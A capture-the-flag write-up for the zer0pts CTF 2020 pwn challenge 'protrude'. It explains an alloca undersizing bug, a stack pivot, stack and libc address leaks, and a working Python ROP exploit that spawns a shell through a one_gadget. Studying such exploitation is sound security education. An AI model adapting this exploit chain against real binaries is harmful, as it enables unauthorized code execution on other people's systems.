Try   HackMD

[zer0pts CTF 2020] protrude

tags: zer0pts CTF pwn

Overview

We're given the binary, libc, and the source code.
PIE and RELRO are disabled :)

$ checksec -f chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   75 Symbols     Yes      0               6       chall

The program is so simple that it just calculates the sum.

$ ./chall 
n = 3
num[1] = 1
num[2] = 2
num[3] = 3
SUM = 6

Solution

Vulnerability

We can specify the count of numbers. Let's check the source code.
Firstable, n must be larger than 0 and less or equal to 22. It uses alloca to allocate the array.

array = (long*)alloca(n * 4);

At first glance it's secure. However, array is defined as below.

long *array;

long is usually 8 bytes long, which may cause Stack Overflow. Let's set n to 22 and check how it works.

$ ./chall 
n = 22
num[1] = 1
num[2] = 2
num[3] = 3
num[4] = 4
num[5] = 5
num[6] = 6
num[7] = 7
num[8] = 8
num[9] = 9
num[10] = 0
num[11] = 1
num[12] = 2
num[13] = 3
num[14] = 4
num[15] = 5
num[7] = 6
num[8] = 7
num[9] = 8
num[10] = 9

You can see that the counter roll backs because it's overwritten during the input.

ROP

The stack layout when n=22:

pwndbg> x/24xg $rsp
0x7fffffffdc30: 0x000000000000007b      0x0000000000000b40
0x7fffffffdc40: 0x00000000f70518b0      0xffffffffffffffff
0x7fffffffdc50: 0x0000000000000000      0x0000000000000000
0x7fffffffdc60: 0x00007fffffffdcd0      0x00000000004006e0
0x7fffffffdc70: 0x00007fffffffddc0      0x0000000000000000
0x7fffffffdc80: 0x0000000000000000      0x0000000000400835
0x7fffffffdc90: 0x00007ffff7dd0680      0x00000003f7a65237
0x7fffffffdca0: 0x0000000000000001      0x0000000000000000 <-- i (0x7fffffffdca0)
0x7fffffffdcb0: 0x00007fffffffdc30      0xb62cb18e04737800
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcd0: 0x00007fffffffdce0      0x0000000000400a0e <-- return address (0x7fffffffdcd8)
0x7fffffffdce0: 0x0000000000400a20      0x00007ffff7a05b97

We can overwrite the return address by 22th loop but we can't write further more.
n is not on the stack and we can't change the upper bound. Changing i will just break the loop. Thus we can't simply do ROP.

Stack Pivot

You'll find the following code at the end of calc_sum.

  4009b7:       c9                      leave  
  4009b8:       c3                      ret

leave is an instruction to set rsp to rbp and rbp to saved rbp.
As we can overwrite the saved rbp, we can control rbp here.
On the other hand, the tail of main function is like this:

  400a10:       e8 79 fe ff ff          call   40088e <calc_sum>
  400a15:       b8 00 00 00 00          mov    eax,0x0
  400a1a:       5d                      pop    rbp
  400a1b:       c3                      ret

Unfortunately we don't have leave gadget as main has no variable. Here we set the return address to leave; ret; in order to control rsp.

Leaking the Stack Address

We have RSP control, but it's not useful now. We need some leak.
Let's see what the sum tells us.
The sum is basically "the sum" of our input. However, we can control i during the input, which allows us to skip some data.
Let's see what's after i:

0x7fffffffdca0: 0x0000000000000001      0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdc30      0xb62cb18e04737800
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcd0: 0x00007fffffffdce0      0x0000000000400a0e

There're 2 stack addresses and 1 canary value.
It seems we can leak the stack address, but we can't calculate it by the sum because canary value is unpredictable. So, we call calc_sum twice by overwriting the return address. The 2 values leaked by the sum are:

S0=2×stack+canary+176S1=stack+canary+176+Δ
*Assume the address at 0x7fffffffdcb0(0x00007fffffffdc30)as
stack

Δ
is the difference of rsp in the 1st and 2nd calc_sum. We can get the stack address by solving this equation.

Plan

We have the stack address and can control RSP. So, we can run ROP chain!
We just have to leak the libc base and get the shell.

from ptrlib import * def calc_sum(n, array): sock.sendlineafter("n = ", str(n)) for elm in array: sock.sendlineafter(" = ", str(elm)) sock.recvuntil("SUM = ") return int(sock.recvline()) elf = ELF("../distfiles/chall") rop_pop_rdi = 0x00400a83 rop_ret = 0x00400646 rop_leave_ret = 0x00400849 """ libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") sock = Process("../distfiles/chall") libc_one_gadget = 0x10a38c """ libc = ELF("../distfiles/libc-2.23.so") sock = Socket("localhost", 9005) libc_one_gadget = 0xf02a4 #""" # 1) leak stack address # We get 14+14+(array)+(canary)+(array+0xb0)+(_start) n, payload = 22, [0 for i in range(16)] payload[-2] = 20 payload[-1] = elf.symbol("_start") r1 = calc_sum(n, payload) logger.info("r1 = " + str(r1)) # We get 14+14+(array-0xe0)+(canary)+(_start) n, payload = 22, [0 for i in range(19)] payload[-5] = 17 payload[-4] = 0 payload[-3] = 0 payload[-2] = 0 # saved rbp = 0 payload[-1] = elf.symbol("_start") r2 = calc_sum(n, payload) logger.info("r2 = " + str(r2)) # Now we can calculate the address of array addr_array = (r1 - 28 - 0xb0) - (r2 - 28 + 0xe0) logger.info("array = " + hex(addr_array)) # 2) leak libc base # We can overwrite saved rbp to our rop chain (array) # and return to `leave` gadget will execute the chain n, payload = 22, [0 for i in range(17)] payload[1] = rop_pop_rdi payload[2] = elf.got("puts") payload[3] = elf.plt("puts") payload[4] = elf.symbol("_start") payload[-3] = 19 payload[-2] = addr_array - 0x1c0 payload[-1] = rop_leave_ret calc_sum(n, payload) libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc base = " + hex(libc_base)) # 3) get the shell! n, payload = 22, [0 for i in range(16)] payload[-2] = 20 payload[-1] = libc_base + libc_one_gadget calc_sum(n, payload) sock.interactive()